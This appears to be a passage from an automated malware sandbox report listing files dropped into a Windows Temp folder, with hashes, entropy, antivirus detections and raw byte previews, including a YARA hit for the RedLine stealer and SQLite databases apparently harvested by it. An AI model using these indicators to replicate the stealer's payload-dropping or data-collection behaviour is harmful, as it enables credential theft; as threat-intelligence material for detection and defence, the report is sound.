Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L.....`..................... ......PJ............@..........................P.......+......................................l...(........b.......................!..p...................................@............................................text............................... ..`.data...ho..........................@....fig................................@....hilo...............................@....rsrc....b.......d..................@..@.reloc...;.......<..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\56DF.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13952
Entropy (8bit):	6.469641966954252
Encrypted:	false
SSDEEP:	384:znqWlJsIVjdpVQtFm/bTXQSUYqT4IPt5kf:znhJtVj7VUxYFIPAf
MD5:	52406910628C2E8126EF20BFC7E51D0D
SHA1:	3C9DF71CFE2708F40F85B7ECD73BC605ACA9994D
SHA-256:	CE318BC9912CC93FF988917668C4135CAA686F4256EF099DD8852627E8E91C7A
SHA-512:	01B79EC79832DDB486F7A87FD9CBCF521397E9600CA530A33821AC71D566E7115ED7AE59A1095B4AEA4ADFCB3064AEA194835DD44DF9BE420522ED14B4CC7B4C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$%,.EK..EK..EK......EK......EK......EK..0..EK..EJ..EK......EK......EK......EK.Rich.EK.........................PE..L...7.._......................B...................@..........................`C.....\.......................................<V..<....pB..............................................................R..@...............H............................text...p........................... ..`.rdata..............................@..@.data...`.>..`.......R..............@....wewex..r....`B......h..............@..@.rsrc........pB......l..............@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6FC2DT0R Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7728.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	844800
Entropy (8bit):	7.512590176050023
Encrypted:	false
SSDEEP:	24576:/Xj+AMBIt1mgZYgpeS04FTqSEjOZvT2T:KVBItxZreR8Z2T
MD5:	DBFAEC97A910463B8767B8CEB053CF3C
SHA1:	B9470684EB254871A989D41DA389AAB0159A0DED
SHA-256:	F6CB90F76C5BA8A4482C8405F744103F898B7D1920C569B74FB22DD9BEA7D2A4
SHA-512:	12556CB478ACB96394E06CE462DB008669E62FFA2197A91B7C1C3DF46BD5833177C91C30DF3506285A62E08AC184AB1663004429E19F5CE85DF7C88C88810161
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 44%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L....._.....................&......0.............@..........................PH.............................................L...(....@...b....................H.(!..`...................................@............................................text............................... ..`.data...ho..........................@....huwu........ ......................@....sax.........0.......0..............@....rsrc.....3..@...d...>..............@..@.reloc...@....H..B..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8CA5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	2207616
Entropy (8bit):	7.974704864370131
Encrypted:	false
SSDEEP:	49152:3C4rV+yASntPTt3o37ySGjHACR/SX08HZ11AGq2dpJ4Wu:yMAmPp4LqB98W92dbG
MD5:	765885E4A5BF2B58911C445E2BA0F7DF
SHA1:	65EDC531C1313DF4ADBFF520B31A998BECBD6760
SHA-256:	654574C360FCB5A7EB4F693D99D5F0C4E32F96B219A7327D41B39D7D5ACDE953
SHA-512:	8AC155DA0B4C4999EB00905DCB3F6E8626438AEB80C000F174030DD9CE2922D922A40DC7E6066F99F371991710E9D911ADBFA20013669767CD793B780BCC0616
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L...K..a.................,............K......@....@..........................`M...... "...@..................................pI.T.....I..T...........................................................................................................shared..`I............................`.pdata.......pI.....................@....rsrc....T....I..T..................@..@DATA..........K.G}...\..............@.....................................................................................................................................................................................................................................................................................................................)c.....zEG.z.d{.'.v..6.@'TY=.

C:\Users\user\AppData\Local\Temp\9B5C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	538112
Entropy (8bit):	5.839260930606036
Encrypted:	false
SSDEEP:	12288:i/vGO+99qmdgiwFEMQNJxmYEgqaccLGG5iMHjc/eam:iW1G5IWyfHj2e
MD5:	CF844515328AE2E2F1B4E9879401C7CA
SHA1:	C2328D6EC4DD72F8D298DB5AB4145E7FB2D43575
SHA-256:	3FE128FA6B1779C21D6283F566940788DDE7345E4E91063F5B60D0DCD38C3DA6
SHA-512:	73684CCD9712A7632CDEFAAE000D666B9214701455B4B0211DF2CF07481E0A10BFDA6D45429B39D2BA42BDC79D4F88DFAF9D22CCBDED3BC6C9D9E59B37C20264
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...].%...............0..............M... ...`....@.. ....................................@..................................L..K....`............................................................................... ............... ..H............text...$-... ...................... ..`.rsrc........`.......0..............@....reloc...............4..............@..B.................M......H............B...........Z...............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(......(....8....(.........8....(^...8...........................................0..............0...................................(......0.....................0..............(....C.A.........C.A.....................................*.......

C:\Users\user\AppData\Local\Temp\A87C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3624448
Entropy (8bit):	7.9987056079848164
Encrypted:	true
SSDEEP:	98304:4RptfnJsrnI6AqXP9kZ7vrcMTbdYroaZV55uQ:Ip7srnRtXK1vrcMvdYrvZVXV
MD5:	E5BD8A53623522C49CCC35BC492B5A11
SHA1:	E36258FC96F90432C79BE82520EF0B27FDBE9C89
SHA-256:	7CE91A1E9B7DF0D018835EE8483C9E97C9718F9865B53728F958F01C740035AF
SHA-512:	93367FC15F8F24D6EF73A62C37E5CA99AA284C609617FF24EF6EBAC7D4B2AC922D9B1AFF986A7B70D9304D2D637213C14B0F218D67DB79E563ADFB5A130CA358
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2..a................. ...........@.......@....@...........................U.....a]7.....................................\|<Q. .....O......................<Q.............................................................................................#...........................@...........\|....0......................@................@...x..................@............ ...0.......\|..............@............X...P......................@.............3.......0.................@............ ...`O......T1.............@....rsrc.........O..:...b1.............@....f7uSTEx.....0Q.......2.............@....adata........U......L7.............@...................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BNAGMGSPLO.xlsx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701704028955216
Encrypted:	false
SSDEEP:	24:t3GWl91lGAalI86LPpWzUkxooDp2Eb6PEA7lhhzhahpmvYMp+wq2MseSnIrzv:t2Wl91lGAad/xoo12e6MyF4/jMp+t2Mh
MD5:	5F97B24D9F05FA0379F5E540DA8A05B0
SHA1:	D4E1A893EFD370529484B46EE2F40595842C849E
SHA-256:	58C103C227966EC93D19AB5D797E1F16E33DCF2DE83FA9E63E930C399E2AD396
SHA-512:	A175FDFC82D79343CD764C69CD6BA6B2305424223768EAB081AD7741AA177D44A4E6927190AD156D5641AAE143D755164B07CB0BBC9AA856C4772376112B4B24
Malicious:	false
Reputation:	unknown
Preview:	BNAGMGSPLOQNKLVQWYYWYGDTNIHHPSGKYBNBNGFSZGYYFUVNSOYTAMZPOIOKMFFWDJIYCJGTWZSMXADBSJDEKDTPXDVYBIZFLSTFISYXAKAYQWPLDFAWXXNTSVHRLCINNTRJHMBFQAQBHFRSHDDRJZGIFSOFSRODXCWFIUZRXRQSOCPSXKXNEHLQYKIBJRTMMHJOIZSWESTHTXPULAPGLZHBOLMPQWYSWWOGRJQGYWDWWZMHZMTDMRWBSPIXHCFFOHTJSOAULKIFZVXPTYEBTBEXGQNBQAECQOJGHTKIAXUJLSLPBKTTRORROLNTKPDPOMSZBBLUYFRZXYZSVBGBEMGTACDCBJNXKAMZMCYEWGKSUENLKBJSZIPKQGYXMJTJXBELNVMAZHRUESZSTWROIUXLLMQPYLVQYLCOMOCGPSMJQGILSDDRUUXDRUCCVECNPLWHJLTHCPBZIKDUNRJMJIOQOCHVVNIQFFXFKFHTCVEEAXHTLJMWIUAWAMHGIGQCQJZGXBEDCRRZCNVYKCPWVJCRXIGXZYJENNARSZZREAOODIGZVBXFPAHTZNKNQHLNNETJICOVQGFLQSGSLCOYMPYDSGOPNUXAMCIJBJPJBAABYHKBKWCUAXUHNOCSSTHZYJXPLMFVJQAJDDSNEVXLRUYEQEKUKUIAOQAQJMNLHOUFLFUDMCWRNYNNLOACVSDXDNNBOGQOYGOZTWUOFZYLZQXJEGPQNQFLLILMQUJLCLUOOAOAQRCWMGKHGFJRPSFVQPCSCUDFVYSGDQIHJWSUDEAMVIANGMMFSJJTPNRYYSJYDFLUXJZGSYAAUHOEPMQIZZRSZDCXHRCIPUERSVKWEBDJCXEWWKPAHBVZESVEWPJTYRBKLHQRRPGDGQPGTNNFRMWNTGWIZDBPSGFQDFZWTVLRAOKRBHWFHBPZUBSCFBAMHEWXUIUXMKHPOCNYWNKSRYBQKSUWJLJRNBFNMTDBSZDXVFSLPDQEDCNYELVD

C:\Users\user\AppData\Local\Temp\C26E.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	5.892677990184514
Encrypted:	false
SSDEEP:	1536:9UVr85RhYuBGHDp8j468w4d8WD7u7HXhbYpfwxBRFovsSw00IniD:9UVwfUHD2868tiW0JX5BFsiD
MD5:	1A8620AF98D68F9CADB5916341AD1E71
SHA1:	1A39E1F41E89D552BD1228F7DD79E553A8DBB22E
SHA-256:	F593CD3E0A4AD34D16B48B9CDD344E486B42FBFC5BCA0C25ABB75B6CC03AC2D0
SHA-512:	0824ADE76ADC9C5F6120775CE89D6E3B64D5814683DFFA39ADEAB2A90131A7CF1D3BE0A72546C0AFEEB2FD72A510639A64FC37EF23DEA8BAEB9DBBC9C3B38DE6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\C26E.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...gn................0......0........... ........@.. ....................... ............@.................................h...O.......$+..........................L................................................ ............... ..H............text........ ...................... ..`.rsrc...$+.......,..................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D2NYC2NO Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EFOYFBOLXA.pdf Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Reputation:	unknown
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\Temp\FCTR1D2D Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.4589421877427324
Encrypted:	false
SSDEEP:	48:T9YBfHNPM5ETQTbKPHBsRkOLkRf+z4QHItYysX0uhnHu132RUioVeINUravDLjY/:2WU+bDoYysX0uhnydVjN9DLjGQLBE3u
MD5:	16B54B80578A453C3615068532495897
SHA1:	03D021364027CDE0E7AE5008940FEB7E07CA293C
SHA-256:	75A16F4B0214A2599ECFBB1F66CAE146B257D11106494858969B19CABCB9B541
SHA-512:	C11979FE1C82B31FDD6457C8C2D157FB4C9DF4FE55457D54104B59F3F880898D82A947049DEB948CA48A5A64A75CFBFC38FDB2E108026EBE7CA9EBE8B1793797
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GAOBCVIQIJ.docx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Reputation:	unknown
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\Temp\GAOBCVIQIJ.xlsx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Reputation:	unknown
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\Temp\KNG4E3OZ Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q9RQQIMO Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	1.1874185457069584
Encrypted:	false
SSDEEP:	96:I3sa9uKnadsdUDitMkMC1mBKC7g1HFp/GeICEjWTPeKeWbS8pz/YLcs+P+qigSz4:I3rHdMHGTPVbSYgbCP46w/1Vumq
MD5:	72A43D390E478BA9664F03951692D109
SHA1:	482FE43725D7A1614F6E24429E455CD0A920DF7C
SHA-256:	593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C
SHA-512:	FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFA0CFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC7CE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......$..................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QCFWYSKMHA.docx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Reputation:	unknown
Preview:	QCFWYSKMHARLAFTMDAYCDPDNVLLXYAHYJQVDDKWMWZXTODMVQHOWYAKZGPKJEHLDEADLWAOYFHCRBONQYOLNJKXLXXPSVNNBUMGSSHSRYIKKLNWBJSSZQFZBFWIPYYALBWYXPUCHCBPPPRVICZHAAXDBSBDAFSJSLRPZCKMILDLKTZJTTJWTRDUXPIOSWYRPJKVLJAGHSGEPPERRAQLAJLIRGZPORRNBHIKYMYWHJJKNXIQOPDJPXFLFPWXDCSZYFDTACTIFVHTTSPLEYMJQGMJBZKBTPKCSRPHSAJZDKKKDYFDICXMYAQSFGBCKRXTFXXUYCXPOOHXIGGOZQXUOJXGUHUEOJLEOQQRFQRNQSWAOWAWOUVFMKBPTZVBCGRCYEHPXUWCDBHICKJYVGTNPPMEWNTSWYZNREIVBOXSICNBJXTOOMRYUPEHBVWMTIZHWLGFFTIUYFBQKZOWLOZMSGJFBUHXKMGISFGKCABOUUUQJAUODQPPYPQJGLZVADLCCGHPBEUWSDDXYCCQVTRQWCEJDTNAGHKGJTRWVAQBQJBUQWMJRXXASIQFFIUCPKMEXTJTVBDCBEYZDLKHCHQXMUBNRVRITBTYGULZYWAXVJAXNQEPONBFIAUWZCXQYHHPHZWKKUTNXAQELCSUFKXKKQLLKNVNOREOWTEVCFHSUGPNRMAPAFPTHPGPAJPOCFBZXTIYQYUSEJFOUEZDUJSRXDHTOZAMMNCCIXWLXFQZALVARMPTDBNFJAJUMFQAHUJVWMEIDRIMZQXYHMCNBVLONHTHCXFAKSQBBXFBBFYSTIWNRKGOIHMIHZKIQSYCSFIRGLYFATERWSKAZLTFNMKHFVBLMXNERMNYZHBEYHNFPIPCGHZZMBNNYITUETKSXMZHNSGROLAGIITATFDCBZCBLYQHHYFPBDWGCTQNYPHDHFBNVEJJDIVMSPKDXKQBUNSMLJDVGOKQUEVKEVEUUSGEQJDKGYLPIDXNBIPBAJRUU

C:\Users\user\AppData\Local\Temp\QCFWYSKMHA.xlsx Download File
Process:	C:\Users\user\AppData\Local\Temp\8CA5.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702247102869977
Encrypted:	false
SSDEEP:	24:GwASqxXUeo2spEcwb4NnVEBb2Ag1EY9TDqVEQXZvnIx+:nAD1U6+Lwb4dV42x1EIeVlXZ/5
MD5:	B734D7226D90E4FD8228EE89C7DD26DA
SHA1:	EDA7F371036A56A0DE687FF97B01F355C5060846
SHA-256:	ED3AE18072D12A2B031864F502B3DA672B4D4FA8743BEC8ADE114460F53C24D6
SHA-512:	D11ED908D0473A6BEA78D56D0E46FC05DAE642C6ED2F6D60F7859BB25C596CDAA79CC7883FEA5C175A2C04BD176943FF45670B19D6A55B3D5F29FAF40A19AC20
Malicious:	false
Reputation:	unknown
